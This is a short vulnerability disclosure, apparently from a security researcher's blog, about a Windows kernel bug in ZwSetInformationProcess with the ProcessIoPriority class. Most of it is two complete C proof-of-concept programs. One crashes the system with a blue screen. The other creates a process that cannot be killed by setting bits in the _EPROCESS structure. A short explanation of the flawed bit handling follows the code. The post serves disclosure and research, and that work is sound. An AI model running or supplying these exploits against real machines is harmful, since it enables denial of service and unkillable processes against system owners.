//http://waleedassar.blogspot.com
//http://www.twitter.com/waleedassar
BSOD:
#define ProcessIoPriority 0x21
int main()
{
unsigned long val=0xFFFFFFFF;
int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
if(ret<0) printf("Error %x\r\n",ret);
ExitProcess(0);
return 0;
}
Non-Killable Process:
#define ProcessIoPriority 0x21
int main()
{
unsigned long val=0x8000F129;
int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
if(ret<0) printf("Error %x\r\n",ret);
ExitProcess(0);
return 0;
}
Description:
With the “ProcessInformationClass” parameter set to ProcessIoPriority 0x21, passing certain signed values e.g. 0xFFFFFFFF or 0x8000F129 in the variable pointed to by the “ProcessInformation” parameter to the ntdll “ZwSetInformationProcess” function can be abused to arbitrarily set certain bit flags of the corresponding “_EPROCESS” structure e.g. DefaultIoPriority: Pos 27, ProcessSelfDelete : Pos 30, or SetTimerResolutionLink: Pos 31.
Link:http://waleedassar.blogspot.tw/2013/02/kernel-bug-1-processiopriority.html